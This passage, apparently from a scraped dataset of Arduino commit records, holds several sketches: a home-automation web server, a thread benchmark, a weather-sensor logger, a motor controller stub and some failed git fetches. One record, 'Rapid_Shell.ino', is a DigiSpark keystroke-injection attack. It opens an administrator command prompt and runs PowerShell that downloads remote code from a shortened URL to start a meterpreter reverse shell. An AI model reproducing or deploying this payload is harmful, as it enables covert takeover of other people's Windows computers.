\"Cosa\/INET\/DNS.hh\"\n#include \"Cosa\/INET\/NTP.hh\"\n\n#include \"Cosa\/Driver\/NEXA.hh\"\n\n#include \"Cosa\/Socket\/Driver\/W5100.hh\"\n\n\/\/ ElFi library ----------------------------------------------------------------\n#include \"TimerActivity.h\"\n#include \"WebServer.h\"\n\n\/\/ DEFINITIONS =================================================================\n\/\/ Network configuration -------------------------------------------------------\n#define MAC 0xde, 0xad, 0xbe, 0xef, 0xfe, 0xed\n#define PORT 80\n\n\/\/ Time ------------------------------------------------------------------------\n#define TIME_ZONE 1 \/\/ Time-zone; GMT+1, Stockholm\n#define TIME_NTP_SERVER \"se.pool.ntp.org\" \/\/ NTP server; se.pool.ntp.org\n\n\/\/ HARDWARE SETUP ==============================================================\n\/\/ Ethernet Sheild -------------------------------------------------------------\n\/\/ Disable SD on Ethernet Shield\n#define USE_ETHERNET_SHIELD\n#define USE_ETHERNET_SHIELD\n#if defined(USE_ETHERNET_SHIELD)\n#include \"Cosa\/OutputPin.hh\"\nOutputPin sd(Board::D4, 1);\n#endif\n\n\/\/ DECLARATIONS ================================================================\n\/\/ Alarm and activity ----------------------------------------------------------\n\/\/ Alarm and activity sheduler\nAlarm::Scheduler scheduler;\n\n\/\/ DeviceTimer activities\nconst uint8_t allDays[7] = {1, 1, 1, 1, 1, 1, 1};\nconst uint8_t weekDays[7] = {0, 1, 1, 1, 1, 1, 0};\nconst uint8_t weekendDays[7] = {1, 0, 0, 0, 0, 0, 1};\n\nconst uint8_t all = -1;\n\nconst uint8_t on = 1;\nconst uint8_t off = 0;\n\nFunctionTimer functionTimers[1] = {\n FunctionTimer(weekDays, 6, 40, 0, &update_RTC), \/\/ 1 Update the RTC\n};\n\nDeviceTimer deviceTimers[5] = {\n DeviceTimer(weekDays, 6, 40, 0, all, on), \/\/ 1 Weekday morning on\n DeviceTimer(weekDays, 7, 25, 0, all, off), \/\/ 2 Weekday morning off\n DeviceTimer(weekDays, 22, 30, 0, all, on), \/\/ 3 Weekday night off\n DeviceTimer(weekendDays, 8, 30, 0, all, off), \/\/ 4 Weekend morning on\n DeviceTimer(allDays, 23, 30, 0, all, off) \/\/ 5 All days night off\n};\n\n\/\/ DHCP, ethernet and web server -----------------------------------------------\n\/\/ MAC-address\nstatic const uint8_t mac[6] __PROGMEM = { MAC };\n\n\/\/ Host name\nstatic const char hostname[] __PROGMEM = \"ElFi\";\n\n\/\/ DHCP\nDHCP dhcp(hostname, mac);\n\n\/\/ Ethernet\nW5100 ethernet(mac);\n\n\/\/ Web server\nWebServer server;\n\n\/\/ HTML end of line\n#define CRLF \"\\r\\n\"\n\n\/\/ NEXA communications ---------------------------------------------------------\n\/\/ NEXA RF433\/TX transmitter.\nNEXA::Transmitter transmitter(Board::D9, 0xc05a01L);\n\n\/\/ CLASS IMPLEMENTATAIONS ======================================================\n\/\/ WebServer -------------------------------------------------------------------\n\/**\n * The HTML page provided on request is Apple Web Application compatible. It\n * uses a simple jQuery script to pass background GET queries triggerd by the\n * interface buttons. The interface design is controlled via a header defined\n * style (CSS).\n *\/\nvoid \nWebServer::on_request(IOStream& page, char* method, char* path, char* query)\n{ \n static const char header[] __PROGMEM = \n \"HTTP\/1.1 200 OK\" CRLF\n \"Content-Type: text\/html\" CRLF\n \"Connection: close\" CRLF CRLF\n \"<!DOCTYPE HTML>\" CRLF\n \"<html>\" CRLF\n \"<head>\" CRLF\n \"<meta charset=\\\"UTF-8\\\">\"\n \"<meta name='apple-mobile-web-app-capable' content='yes' \/>\" CRLF\n \"<meta name='apple-mobile-web-app-status-bar-style' content='black' \/>\" CRLF\n \"<meta name='apple-mobile-web-app-title' content='Home Automation System' \/>\" CRLF\n \"<meta name='viewport' content='width=device-width, initial-scale=1, user-scalable = no'>\" CRLF\n \"<script src=\\\"\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.8.3\/jquery.min.js\\\"><\/script>\" CRLF\n \"<script>\" CRLF\n \" function deviceControll(url) {$.ajax(url);}\" CRLF\n \"<\/script>\" CRLF\n \"<style>\" CRLF\n \"body{margin:0; font-family:Helvetica,Arial,Sans-Serif; font-size:14px; background:#CCC; box-sizing:border-box;}\" CRLF\n \"*, *:before, *:after {box-sizing: inherit;}\" CRLF\n \"h1,h2,h3{display: block; padding:8px; margin:0;}\" CRLF\n \"h1{background-color:#67D66F; color: white;}\" CRLF\n \"h2, h3 {padding-left:0px;}\" CRLF\n \".device{display:table; width:100%; height:20px; background:white; padding:8px; margin-bottom:1px}\" CRLF\n \".device-lable{display:table-cell; width:60%; height:inherit; vertical-align:middle;}\" CRLF\n \".device-button{display:table-cell; width:20%; height:inherit; vertical-align:middle; text-align:center;}\" CRLF\n \".devices .device:first-child{background-color:#9CEF9F; color: white; margin-bottom:0;}\" CRLF\n \"button{background:#67D66F; padding:5px 10px; margin: auto; border:hidden; -webkit-border-radius:3px; -moz-border-radius:3px; border-radius:3px; color:white; vertical-align:middle; min-width:95%;}\" CRLF\n \"div#time{color:gray; padding:8px; font-size:10px}\" CRLF\n \"<\/style>\" CRLF\n \"<title>ElFI - Home Automation System<\/title>\" CRLF\n \"<\/head>\" CRLF \n \"<body>\" CRLF;\n \n static const char body1[] __PROGMEM = \n \"<h1>ElFi<\/h1>\" CRLF\n \"<div class=\\\"devices\\\">\" CRLF\n \"<div class=\\\"device\\\">\" CRLF\n \"<div class=\\\"device-lable\\\"><h2>NEXA Devices<\/h2><\/div>\" CRLF\n \"<div class=\\\"device-button\\\">\" CRLF\n \"<button onclick=\\\"deviceControll('http:\/\/10.0.1.190\/?all_devices_on');\\\">All on<\/button>\" CRLF\n \"<\/div>\" CRLF\n \"<div class=\\\"device-button\\\">\" CRLF\n \"<button onclick=\\\"deviceControll('http:\/\/10.0.1.190\/?all_devices_off');\\\">All off<\/button>\" CRLF\n \"<\/div>\" CRLF\n \"<\/div>\" CRLF;\n \n static const char body_device1[] __PROGMEM = \n \"<div class=\\\"device\\\">\" CRLF\n \"<div class=\\\"device-lable\\\"><h3>NEXA \";\n \n static const char body_device2[] __PROGMEM = \n \"<\/h3><\/div>\" CRLF\n \"<div class=\\\"device-button\\\">\" CRLF\n \"<button onclick=\\\"deviceControll('http:\/\/10.0.1.190\/?device_on_\";\n \n static const char body_device3[] __PROGMEM = \n \"');\\\">On<\/button>\" CRLF\n \"<\/div>\" CRLF\n \"<div class=\\\"device-button\\\">\" CRLF\n \"<button onclick=\\\"deviceControll('http:\/\/10.0.1.190\/?device_off_\";\n \n static const char body_device4[] __PROGMEM = \n \"');\\\">Off<\/button>\" CRLF\n \"<\/div>\" CRLF\n \"<\/div>\" CRLF;\n \n static const char footer[] __PROGMEM = \n \"<\/body>\" CRLF \n \"<\/html>\";\n \n \/\/ Construct the page; header-contents-footer\n page << (str_P) header;\n page << (str_P) body1;\n \n \/\/ All unique devices\n for (int i = 0; i < 3; i++)\n {\n page << (str_P) body_device1\n << i\n << (str_P) body_device2\n << i\n << (str_P) body_device3\n << i\n << (str_P) body_device4;\n }\n \n page << PSTR(\"<\/div>\") << endl;\n \n time_t time = RTC::time();\n page << PSTR(\"<div id =\\\"time\\\">Time: \") << time << PSTR(\"<\/div>\") << endl;\n \n page << (str_P) footer;\n \n \/\/ Handle queries\n if (query != NULL)\n {\n char *function;\n \n function = \"all_devices_on\";\n if(strcmp(query, function) == 0) {\n transmitter.broadcast(0, on);\n transmitter.broadcast(1, on);\n transmitter.broadcast(2, on);\n transmitter.broadcast(3, on);\n }\n \n function = \"all_devices_off\";\n if(strcmp(query, function) == 0) {\n transmitter.broadcast(0, off);\n transmitter.broadcast(1, off);\n transmitter.broadcast(2, off);\n transmitter.broadcast(3, off);\n }\n \n function = \"device_on_0\";\n if(strcmp(query, function) == 0) {\n transmitter.send(0, on);\n }\n \n function = \"device_off_0\";\n if(strcmp(query, function) == 0) {\n transmitter.send(0, off);\n }\n \n function = \"device_on_1\";\n if(strcmp(query, function) == 0) {\n transmitter.send(1, on);\n }\n \n function = \"device_off_1\";\n if(strcmp(query, function) == 0) {\n transmitter.send(1, off);\n }\n \n function = \"device_on_2\";\n if(strcmp(query, function) == 0) {\n transmitter.send(2, on);\n }\n \n function = \"device_off_2\";\n if(strcmp(query, function) == 0) {\n transmitter.send(2, off);\n }\n } \n}\n\n\/\/ DeviceTimer -----------------------------------------------------------------\nvoid\nDeviceTimer::enable()\n{\n \/\/ Set time of the activity\n time_t start = RTC::time();\n start.hours = m_hours;\n start.minutes = m_minutes;\n start.seconds = m_seconds;\n \n \/\/ Pass first time (in seconds after epoch time) for the first occurence of the activity\n clock_t start_clock = start;\n set_time(start_clock, 1, 1440);\n \n \/\/ Enable the activity\n Activity::enable();\n \n #if defined(DEVMODE)\n trace << PSTR(\"Enables DeviceTimer at \") << start \n << PSTR(\" (\") << start_clock << PSTR(\" seconds)\")\n << endl;\n #endif\n}\n\nvoid\nDeviceTimer::run()\n{\n #if defined(DEVMODE)\n trace << PSTR(\"DeviceTimer dispatched: \") << endl;\n #endif\n time_t time = RTC::time();\n uint8_t d = time.day;\n if (m_day[d-1]) {\n if (m_device != 255)\n {\n transmitter.send(m_device, m_mode);\n }\n else\n {\n transmitter.broadcast(0, m_mode);\n transmitter.broadcast(1, m_mode);\n transmitter.broadcast(2, m_mode);\n transmitter.broadcast(3, m_mode);\n }\n }\n}\n\n\/\/ Function timer --------------------------------------------------------------\nvoid\nFunctionTimer::enable()\n{\n \/\/ Set time of the activity\n time_t start = RTC::time();\n start.hours = m_hours;\n start.minutes = m_minutes;\n start.seconds = m_seconds;\n \n \/\/ Pass first time (in seconds after epoch time) for the first occurence of the activity\n clock_t start_clock = start;\n set_time(start_clock, 1, 1440);\n \n \/\/ Enable the activity\n Activity::enable();\n \n #if defined(DEVMODE)\n trace << PSTR(\"Enables FunctionTimer at \") << start \n << PSTR(\" (\") << start_clock << PSTR(\" seconds)\")\n << endl;\n #endif\n}\n\nvoid\nFunctionTimer::run()\n{\n #if defined(DEVMODE)\n trace << PSTR(\"FunctionTimer dispatched: \") << endl;\n #endif\n time_t time = RTC::time();\n uint8_t d = time.day;\n if (m_day[d-1]) {\n m_function();\n }\n}\n\n\/\/ FUNCTIONS ===================================================================\n\/\/ Time functions --------------------------------------------------------------\n\/**\n * Update the Real Time Clock on the Arduino. Also updates the time in all the\n * alarms and activities.\n *\/\nvoid\nupdate_RTC()\n{\n \/\/ Update the RTC\n RTC::time(get_NTP_time());\n\n \/\/ Match time in Alarm with RTC\n Alarm::set_time(RTC::time());\n}\n\n\/**\n * Get the current time from a NTP.\n *\/\nclock_t\nget_NTP_time()\n{\n uint8_t server[4];\n\n \/\/ Use DNS to get the NTP server network address\n DNS dns;\n ethernet.get_dns_addr(server);\n if (!dns.begin(ethernet.socket(Socket::UDP), server)) return 0L;\n if (dns.gethostbyname_P(PSTR(TIME_NTP_SERVER), server) != 0) return 0L;\n\n \/\/ Connect to the NTP server using given socket\n NTP ntp(ethernet.socket(Socket::UDP), server, TIME_ZONE);\n\n \/\/ Get current time. Allow a number of retries\n const uint8_t RETRY_MAX = 20;\n clock_t clock;\n for (uint8_t retry = 0; retry < RETRY_MAX; retry++)\n if ((clock = ntp.time()) != 0L) break;\n ASSERT(clock != 0L);\n\n return clock;\n}\n\n\/\/ MAIN PROGRAM ================================================================\nvoid\nsetup()\n{\n #if defined(DEVMODE)\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"ElFi: start\"));\n #endif\n \n \/\/ Start the watchdog, real-time clock and the alarm scheduler\n Watchdog::begin(16, Watchdog::push_timeout_events);\n RTC::begin();\n scheduler.begin();\n\n \/\/ Initiate the Ethernet Controller using DHCP\n ASSERT(ethernet.begin_P(PSTR(\"ElFi\")));\n \n \/\/ Start the server\n ASSERT(server.begin(ethernet.socket(Socket::TCP, PORT)));\n\n \/\/ Clock settings\n time_t::epoch_year( NTP_EPOCH_YEAR );\n time_t::epoch_weekday = NTP_EPOCH_WEEKDAY;\n time_t::pivot_year = 37; \/\/ 1937..2036 range\n\n \/\/ Set the clock\n update_RTC();\n \n #if defined(DEVMODE)\n \/\/ Print current time\n time_t time = RTC::time();\n trace << PSTR(\"Current time \") << time << endl;\n #endif\n\n \/\/ Enable the timer handlers\n int m = sizeof(functionTimers)\/sizeof(*functionTimers);\n for (int i = 0; i < m; i++) {\n functionTimers[i].enable();\n }\n \n m = sizeof(deviceTimers)\/sizeof(*deviceTimers);\n for (int i = 0; i < m; i++) {\n deviceTimers[i].enable();\n }\n}\n\nvoid loop()\n{\n \/\/ The standard event dispatcher\n Event event;\n while (Event::queue.dequeue( &event ))\n event.dispatch();\n \n \/\/ Service incoming requests\n server.run(5L);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'elfi.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c857d7e6074222d69c7419e4b2fd2b3075da163d","subject":"Nightly","message":"Nightly\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"learning\/RTC-and-LCD\/RTC-and-LCD.ino","new_file":"learning\/RTC-and-LCD\/RTC-and-LCD.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b131ebd8bedb1947ac9c79fa60de81dc99fbcd09","subject":"Finished V03","message":"Finished V03\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bbbc3d30d49aa825cf05ba1040d227b067b55521","subject":"Using struct dataset now. Prescaler changed back to \/16 until I can get this working. Now using aggregate data from 10,000 adc readings. Paves the way for better data analysis in the future. For now just computing average, max, and min, to see how different prescaler (adc speed) settings affect measurements.","message":"Using struct dataset now. Prescaler changed back to \/16 until I can get this working. Now using aggregate data from 10,000 adc readings. Paves the way for better data analysis in the future. For now just computing average, max, and min, to see how different prescaler (adc speed) settings affect measurements.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"428a08753472eabac6997a84d98e74ca37131760","subject":"Add the ability to download a sequence and step though it under blue tooth and thermal control","message":"Add the ability to download a sequence and step though it under blue tooth and thermal control\n","repos":"lkesteloot\/lathser,lkesteloot\/lathser,lkesteloot\/lathser,lkesteloot\/lathser,bradgrantham\/lathser,lkesteloot\/lathser,bradgrantham\/lathser","old_file":"deviceCode\/BTAxisStepperPCBV1\/BTAxisStepperPCBV1.ino","new_file":"deviceCode\/BTAxisStepperPCBV1\/BTAxisStepperPCBV1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bradgrantham\/lathser.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"842c866e7d827026877fad793f78f8ca3730d905","subject":"Create Rapid_Shell.ino","message":"Create Rapid_Shell.ino\n\nThis program do the following:\r\n1\/Starts Command prompt as Administrator\r\n2\/Run a powershell script which self-creates\/opens a metasploit payload seemlessly\r\n\r\nRunning time: 30 seconds (+- 5 seconds) \r\nExposed time: 66%","repos":"CedArctic\/DigiSpark-Scripts,CedArctic\/DigiSpark-Scripts","old_file":"Rapid_Shell\/Rapid_Shell.ino","new_file":"Rapid_Shell\/Rapid_Shell.ino","new_contents":"#include \"DigiKeyboard.h\"\n\/\/ This script is designed for use on Windows machines with QWERTY as a keyboard layout\n\/\/ As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the \"az_qw_convert.sh\" script to convert AZERTY to QWERTY layout.\n\/\/ For more scripts checkout: https:\/\/git.io\/vAGf4\n\/\/ Developer: NBN | 02\/13\/2018 @19:00\nvoid setup() {\n \/\/ Initialize the digital pin as an output.\n pinMode(1, OUTPUT); \/\/LED on Model A\n}\n\/\/ Infinite loop\nvoid loop() {\n\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.delay(500);\n digitalWrite(1, HIGH); \/\/ LED on <--> Action start\n\/\/ BEGIN - Open CMD in Administrator Privileges\n DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);\n DigiKeyboard.delay(1500);\n DigiKeyboard.print(\"c;d\");\n DigiKeyboard.delay(1500);\n DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);\n DigiKeyboard.delay(1000);\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n\/\/ END - Open CMD in Administrator Privileges\n DigiKeyboard.delay(1500);\n DigiKeyboard.println(\"MODE CON: COLS=15 LINES=1\");\n DigiKeyboard.delay(250);\n DigiKeyboard.println(\"cd %TEMP%\");\n DigiKeyboard.delay(250);\n DigiKeyboard.println(\"copy con tmp.cmd\");\n DigiKeyboard.delay(500);\n DigiKeyboard.println(\"start C:\/Windows\/System32\/Ribbons.scr \/s\");\n DigiKeyboard.delay(250);\n DigiKeyboard.println(\"powershell \"IEX (New-Object Net.WebClient).DownloadString('http:\/\/bit.ly\/14bZZ0c'); Invoke-Shellcode -Payload windows\/meterpreter\/reverse_https -Lhost <IP_ADDRESS> -Lport <PORT> -Force\"\"); \/\/ Edit both Lhost and Lport according to your setup\n DigiKeyboard.delay(250);\n DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); \/\/ Save the file and return to cmd shell use delay of 500ms\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.println(\"tmp.cmd && exit\"); \/\/ Start the payload file and exit (DANGEROUS\/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC)\n digitalWrite(1, LOW); \/\/ LED off <--> Action end\n DigiKeyboard.delay(5000); \/\/ 5 seconds delay to unplug the device safely between loops\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Rapid_Shell\/Rapid_Shell.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a59ae92de0d42cbb5ac387af29edce79096726e","subject":"Create ESP_chip_id.ino","message":"Create ESP_chip_id.ino","repos":"aavn\/Gassistant,aavn\/Gassistant","old_file":"sample\/ESP_chip_id.ino","new_file":"sample\/ESP_chip_id.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sample\/ESP_chip_id.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ba8171cb18768a7f31faeaf70652817e0466d232","subject":"Adding first Nucleo benchmark; thread context switch (12-13 us).","message":"Adding first Nucleo benchmark; thread context switch (12-13 us).\n","repos":"kc9jud\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,dansut\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa","old_file":"examples\/Nucleo\/CosaNucleoBenchmark\/CosaNucleoBenchmark.ino","new_file":"examples\/Nucleo\/CosaNucleoBenchmark\/CosaNucleoBenchmark.ino","new_contents":"\/**\n * @file CosaNucleoBenchmark.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Cosa Nucleo Thread benchmarks\n * 1) Run 1,000,000 context switches (12-13 us)\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Nucleo\/Thread.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nclass Benchmark : public Nucleo::Thread {\npublic:\n virtual void run();\n};\n\nvoid \nBenchmark::run() \n{ \n \/\/ This will force 1,000,000 context switches as the Nucleo main thread\n \/\/ will context switch back for each loop; 2*500*1000 in total\n \/\/ The loop handling and RTC access are included but very small values.\n while (1) {\n uint32_t start = RTC::micros();\n for (uint16_t i = 0; i < 500; i++)\n for (uint16_t j = 0; j < 1000; j++)\n\tyield(); \n uint32_t stop = RTC::micros();\n trace << PSTR(\"yield: \") << (stop - start) \/ 1000000 << PSTR(\" us\") << endl;\n }\n}\n\nBenchmark bench;\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaNucleoBenchmark: started\"));\n Watchdog::begin();\n RTC::begin();\n Nucleo::Thread::begin(&bench, 128);\n}\n\nvoid loop()\n{\n Nucleo::Thread::begin();\n ASSERT(true == false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Nucleo\/CosaNucleoBenchmark\/CosaNucleoBenchmark.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"6b0ee926d24e0e7373f2515d39e5e9ebcc741567","subject":"For Arduino with 10DOF and DHT22 module","message":"For Arduino with 10DOF and DHT22 module","repos":"bRanger82\/ArduinoTemperature,bRanger82\/ArduinoTemperature","old_file":"ArduinoTimingLight.ino","new_file":"ArduinoTimingLight.ino","new_contents":"#include <SFE_BMP180.h>\n#include \"DHT.h\"\n\n#define DHTPIN 2 \n#define DHTTYPE DHT22\n#define SERIALWAIT 200\n\nint DELAY_TIME = 30000; \/\/Delay Time between each processData() call (ms)\n\nDHT dht(DHTPIN, DHTTYPE);\nSFE_BMP180 pressure;\n\nfloat h = 0; \/\/Luftfeuchte auslesen\nfloat t = 0; \/\/Temperatur auslesen\nfloat r = 0; \/\/Heat-Index berechnen\ndouble p0 = 0; \/\/Wert fuer Luftdruck\n\nvoid initSerial(void)\n{\n Serial.begin(9600);\n Serial.flush(); \n}\n\nvoid initSensors(void)\n{\n dht.begin();\n pressure.begin();\n}\n\n\n\nvoid setup(void) \n{\n initSerial();\n initSensors();\n}\n\nvoid checkSerialData()\n{\n for (int i = 1; i <=100; i++)\n {\n if ((Serial.available() > 0))\n {\n processIncomingData(Serial.readString());\n Serial.flush();\n }\n delay(DELAY_TIME \/ 100); \n } \n}\n\nvoid loop(void) \n{\n processData();\n checkSerialData();\n}\n\nvoid processIncomingData(String data)\n{\n if (data == \"HELP\")\n {\n Serial.println(\"REPLY|PROTOCOL_VERSION|GETTIMING|GET_TEMP_ARDUINO|DATA|SETTIMING|EOF\");\n return;\n } else if (data == \"PROTOCOL_VERSION\")\n {\n Serial.println(\"REPLY|V2|EOF\");\n return;\n } else if (data == \"GETTIMING\")\n {\n Serial.print(\"REPLY|TIMING|\");\n Serial.print(DELAY_TIME);\n Serial.println(\"|ms|EOF\");\n return;\n } else if (data == \"GET_TEMP_ARDUINO\")\n {\n Serial.println(\"REPLY|FOUND_ARDUINO|EOF\");\n return;\n } else if (data == \"DATA\")\n {\n writeSerialProtocolV2(h, t, r, p0);\n return;\n } else if (data.startsWith(\"SETTIMING|\"))\n {\n String tmp = data.substring(10);\n int newTiming = tmp.toInt();\n\n if (newTiming < 10000 || newTiming > 60000)\n {\n Serial.println(\"REPLY|ERROR_SET_TIMING_NOT_BETWEEN_10000_AND_60000_MS|EOF\");\n } else\n {\n DELAY_TIME = newTiming;\n Serial.print(\"REPLY|OK_SET_TO_NEW_TIMING_\");\n Serial.print(DELAY_TIME);\n Serial.println(\"_MS|EOF\");\n }\n return;\n }\n\n Serial.println(\"REPLY|FEHLER: Nicht Implementiert!|EOF\");\n}\n\n\nvoid writeSerialProtocolV2(float humanity, float temperature, float heatIndex, double airPressure)\n{\n Serial.print(\"START\");\n Serial.print(\"|\"); \/\/ delim\n Serial.print(\"LEN:4\"); \/\/4 Werte werden uebertragen\n Serial.print(\"|\"); \/\/ delim\n Serial.print(humanity); \/\/ Luftfeuchte\n Serial.print(\"|\"); \/\/ delim\n Serial.print(temperature); \/\/ Temperatur\n Serial.print(\"|\"); \/\/ delim\n Serial.print(heatIndex); \/\/ HeatIndex\n Serial.print(\"|\");\n Serial.print(airPressure); \/\/Luftdruck millibar\n Serial.print(\"|\"); \/\/ delim\n Serial.println(\"EOF\");\n Serial.flush();\n delay(SERIALWAIT);\n}\n\n\nbool getPressure(double * value)\n{\n double T,P;\n char st;\n\n st = pressure.startTemperature();\n \n if (st != 0)\n {\n delay(st);\n st = pressure.getTemperature(T);\n }\n \n st = pressure.startPressure(3);\n\n if (st != 0)\n {\n delay(st);\n \n st = pressure.getPressure(P,T);\n \n if (st != 0)\n {\n *value = P;\n return true;\n }\n }\n return false;\n}\n\nvoid processData()\n{\n h = dht.readHumidity(); \/\/Luftfeuchte auslesen\n t = dht.readTemperature(); \/\/Temperatur auslesen\n r = dht.computeHeatIndex(t, h, false); \/\/Heat-Index berechnen\n p0 = 0; \/\/Wert fuer Luftdruck\n bool pressAvailable = getPressure(&p0); \/\/Luftdruck lesen\n \n if (isnan(t) || isnan(h) || isnan(r) || !pressAvailable) \/\/Fehler beim Lesen eines der Daten\n {\n if (Serial)\n {\n Serial.println(\"Fehler: Daten konnten gelesen werden!\");\n Serial.flush();\n }\n } \n else\n {\n writeSerialProtocolV2(h, t, r, p0); \n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoTimingLight.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ac6e2ff1d6b0f797d9fe84dd7d2aa83306f844b0","subject":"Created ability to add digital sensors on digital pins 3, 4, and 5.","message":"Created ability to add digital sensors on digital pins 3, 4, and 5.","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"ATMega\/YPOD_firmware\/YPOD_firmware.ino","new_file":"ATMega\/YPOD_firmware\/YPOD_firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bc767567bddb02659adf835787648c83ee6cec21","subject":"Arduino: Add current untested Arduino files","message":"Arduino: Add current untested Arduino files\n","repos":"simotek\/tanko-bot,simotek\/tanko-bot,simotek\/tanko-bot","old_file":"src\/Arduino\/RobotCtrl\/RobotCtrl.ino","new_file":"src\/Arduino\/RobotCtrl\/RobotCtrl.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/www.arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n\n\/\/ Pins In USE\n\/\/ Motor PWM\nint PIN_LEFT_REV = 3;\nint PIN_LEFT_FOR = 5;\n\nint PIN_RIGHT_REV = 6;\nint PIN_RIGHT_FOR = 9;\n\n\/\/ Serial Pins are only used by the Serial Driver\nint PIN_SERIAL_RX = 0;\nint PIN_SERIAL_TX = 1;\n\n\/\/ Note SPI Pins are Used by the ODROID\nint PIN_SPI_SS = 10;\nint PIN_SPI_MOSI = 11;\nint PIN_SPI_MISO = 12;\nint PIN_SPI_SCK = 13;\n\n\/\/ Command Strings\n\/\/ \/\/ Incoming\nString CMD_IN_DRIVE_MOTOR_CTRL = 